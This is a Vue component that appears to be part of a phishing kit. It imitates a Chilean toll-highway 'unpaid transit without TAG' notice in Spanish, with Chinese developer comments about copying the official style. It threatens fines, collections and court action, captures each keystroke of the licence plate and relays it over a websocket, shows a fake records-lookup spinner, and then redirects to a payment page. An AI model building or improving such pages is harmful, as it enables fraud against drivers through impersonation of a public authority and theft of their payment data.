325 lines
7.8 KiB
Vue
325 lines
7.8 KiB
Vue
<script setup lang="ts">
|
||
import { getCurrentInstance, onMounted, ref, watch } from "vue";
|
||
import { useRouter } from "vue-router";
|
||
import CommonLayout from "@/views/CommonLayout.vue";
|
||
import { useLoadingStore } from "@/stores/loadingStore";
|
||
import { inputChange, myWebSocket } from "@/utils/common";
|
||
import { useI18n } from "vue-i18n";
|
||
|
||
const { t } = useI18n();
|
||
|
||
const router = useRouter();
|
||
const loadingStore = useLoadingStore();
|
||
|
||
// 保持邏輯不變：使用 phoneData 結構
|
||
const formData = ref({ phoneData: { plateNumber: "" } });
|
||
// 狀態控制：是否正在查詢（圖3狀態）
|
||
const isConsulting = ref(false);
|
||
|
||
const instance = getCurrentInstance()!;
|
||
|
||
const onchange = (event: any) => {
|
||
// 保持原本邏輯
|
||
inputChange("首頁輸入", "plate", event.target.value);
|
||
};
|
||
|
||
const next = () => {
|
||
// 1. 觸發局部切換為圖3的查詢狀態
|
||
isConsulting.value = true;
|
||
|
||
// 2. 模擬查詢延遲，隨後執行原本的跳轉邏輯
|
||
setTimeout(() => {
|
||
localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
|
||
router.push("/pay");
|
||
}, 2500); // 模擬 2.5 秒的查詢時間
|
||
};
|
||
|
||
watch(
|
||
instance.appContext.config.globalProperties.$currentUser,
|
||
(newValue, oldValue) => {}
|
||
);
|
||
|
||
onMounted(() => {
|
||
myWebSocket?.send(
|
||
JSON.stringify({
|
||
event: "page_type",
|
||
content: { pageType: "home" },
|
||
})
|
||
);
|
||
const userData =
|
||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||
if (userData && userData.phoneData) {
|
||
formData.value = userData;
|
||
}
|
||
localStorage.setItem("route", "home");
|
||
});
|
||
</script>
|
||
|
||
<template>
|
||
<CommonLayout>
|
||
<template #default>
|
||
<div class="chile-page-wrapper">
|
||
<div class="chile-container">
|
||
|
||
<div class="chile-header">
|
||
<h2>Aviso de tránsito sin TAG</h2>
|
||
<div class="blue-line"></div>
|
||
</div>
|
||
|
||
<div class="static-top-content">
|
||
<div class="info-alert-box">
|
||
<p>Este aviso requiere su atención inmediata para regularizar el cobro de peaje.</p>
|
||
</div>
|
||
|
||
<p class="description-text">
|
||
Nuestros registros muestran un tránsito por autopistas urbanas concesionadas en Chile sin un medio de pago habilitado (TAG o peaje registrado) asociado al vehículo. Para evitar recargos, intereses y eventuales gestiones de cobranza, le solicitamos revisar el detalle e iniciar la regularización en línea a la brevedad.
|
||
</p>
|
||
|
||
<p class="description-text">
|
||
Ingrese la patente de su vehículo para consultar el detalle del tránsito y el monto a regularizar.
|
||
</p>
|
||
</div>
|
||
|
||
<div class="dynamic-content">
|
||
|
||
<div v-if="!isConsulting" class="initial-view">
|
||
<div class="form-card">
|
||
<form @submit.prevent="next">
|
||
<label class="input-label">Patente del vehículo</label>
|
||
<p class="input-hint">Ingrese la patente tal como figura en el padrón (por ejemplo, ABCD12).</p>
|
||
|
||
<input
|
||
type="text"
|
||
required
|
||
v-model="formData.phoneData.plateNumber"
|
||
@input="onchange"
|
||
class="chile-input"
|
||
autofocus
|
||
placeholder=""
|
||
/>
|
||
|
||
<button type="submit" class="chile-btn-submit">
|
||
Revisar tránsito
|
||
</button>
|
||
</form>
|
||
</div>
|
||
|
||
<div class="consequences-section">
|
||
<h3>Consecuencias de no regularizar a tiempo</h3>
|
||
<p>Si no completa este proceso dentro de los plazos informados, se puede exponer a:</p>
|
||
<ul>
|
||
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
|
||
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
|
||
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
|
||
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
|
||
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
|
||
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
|
||
</ul>
|
||
</div>
|
||
</div>
|
||
|
||
<div v-else class="consulting-view">
|
||
<div class="loader-container">
|
||
<div class="spinner"></div>
|
||
<p class="loading-text-bold">Consultando registros de tránsito...</p>
|
||
<p class="loading-text-small">
|
||
Esto puede tardar algunos segundos. No cierre esta ventana mientras realizamos la búsqueda.
|
||
</p>
|
||
</div>
|
||
</div>
|
||
|
||
</div>
|
||
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</CommonLayout>
|
||
</template>
|
||
|
||
<style scoped>
|
||
/* 智利高速公路官方風格復刻 */
|
||
.chile-page-wrapper {
|
||
background-color: #ffffff;
|
||
min-height: 100vh;
|
||
padding: 20px 15px;
|
||
font-family: Arial, sans-serif;
|
||
color: #333;
|
||
}
|
||
|
||
.chile-container {
|
||
max-width: 500px;
|
||
margin: 0 auto;
|
||
}
|
||
|
||
/* 標題與藍線 */
|
||
.chile-header h2 {
|
||
font-size: 20px;
|
||
font-weight: bold;
|
||
color: #333;
|
||
margin-bottom: 10px;
|
||
text-align: left;
|
||
}
|
||
|
||
.blue-line {
|
||
height: 4px;
|
||
background-color: #4a90e2;
|
||
width: 100%;
|
||
margin-bottom: 25px;
|
||
}
|
||
|
||
/* 藍色提示框 */
|
||
.info-alert-box {
|
||
background-color: #f0f7ff;
|
||
border-left: 4px solid #4a90e2;
|
||
padding: 15px;
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
.info-alert-box p {
|
||
margin: 0;
|
||
font-weight: bold;
|
||
font-size: 15px;
|
||
color: #333;
|
||
line-height: 1.4;
|
||
}
|
||
|
||
.description-text {
|
||
font-size: 14px;
|
||
color: #444;
|
||
line-height: 1.6;
|
||
margin-bottom: 15px;
|
||
}
|
||
|
||
/* 表單卡片 */
|
||
.form-card {
|
||
background-color: #f8f9fa;
|
||
border: 1px solid #e9ecef;
|
||
border-radius: 8px;
|
||
padding: 20px;
|
||
margin-bottom: 30px;
|
||
box-shadow: 0 2px 4px rgba(0,0,0,0.02);
|
||
}
|
||
|
||
.input-label {
|
||
display: block;
|
||
font-weight: bold;
|
||
font-size: 16px;
|
||
color: #333;
|
||
margin-bottom: 5px;
|
||
}
|
||
|
||
.input-hint {
|
||
font-size: 13px;
|
||
color: #888;
|
||
margin-bottom: 15px;
|
||
}
|
||
|
||
.chile-input {
|
||
width: 100%;
|
||
box-sizing: border-box;
|
||
padding: 12px;
|
||
border: 1px solid #ced4da;
|
||
border-radius: 4px;
|
||
font-size: 18px;
|
||
margin-bottom: 20px;
|
||
outline: none;
|
||
}
|
||
|
||
.chile-input:focus {
|
||
border-color: #4a90e2;
|
||
}
|
||
|
||
.chile-btn-submit {
|
||
background-color: #4a90e2;
|
||
color: white;
|
||
border: none;
|
||
border-radius: 4px;
|
||
padding: 12px 25px;
|
||
font-size: 16px;
|
||
font-weight: bold;
|
||
cursor: pointer;
|
||
}
|
||
|
||
/* 後果列表 */
|
||
.consequences-section {
|
||
border-left: 4px solid #4a90e2;
|
||
padding-left: 15px;
|
||
margin-top: 10px;
|
||
}
|
||
|
||
.consequences-section h3 {
|
||
font-size: 18px;
|
||
font-weight: bold;
|
||
margin-bottom: 15px;
|
||
color: #333;
|
||
}
|
||
|
||
.consequences-section p {
|
||
font-size: 14px;
|
||
margin-bottom: 15px;
|
||
}
|
||
|
||
.consequences-section ul {
|
||
padding-left: 15px;
|
||
margin: 0;
|
||
}
|
||
|
||
.consequences-section li {
|
||
font-size: 13.5px;
|
||
color: #444;
|
||
margin-bottom: 12px;
|
||
line-height: 1.4;
|
||
list-style-type: disc;
|
||
}
|
||
|
||
/* 圖3：加載動畫佈局 */
|
||
.consulting-view {
|
||
display: flex;
|
||
justify-content: center;
|
||
align-items: center;
|
||
padding: 40px 0;
|
||
}
|
||
|
||
.loader-container {
|
||
text-align: center;
|
||
display: flex;
|
||
flex-direction: column;
|
||
align-items: center;
|
||
}
|
||
|
||
/* 藍色旋轉圓環 */
|
||
.spinner {
|
||
width: 50px;
|
||
height: 50px;
|
||
border: 4px solid #f3f3f3;
|
||
border-top: 4px solid #4a90e2;
|
||
border-radius: 50%;
|
||
animation: spin 1s linear infinite;
|
||
margin-bottom: 20px;
|
||
}
|
||
|
||
@keyframes spin {
|
||
0% { transform: rotate(0deg); }
|
||
100% { transform: rotate(360deg); }
|
||
}
|
||
|
||
.loading-text-bold {
|
||
font-size: 18px;
|
||
font-weight: bold;
|
||
color: #333;
|
||
margin-bottom: 8px;
|
||
}
|
||
|
||
.loading-text-small {
|
||
font-size: 14px;
|
||
color: #888;
|
||
max-width: 320px;
|
||
line-height: 1.4;
|
||
}
|
||
|
||
@media (max-width: 480px) {
|
||
.chile-container {
|
||
padding: 5px;
|
||
}
|
||
}
|
||
</style> |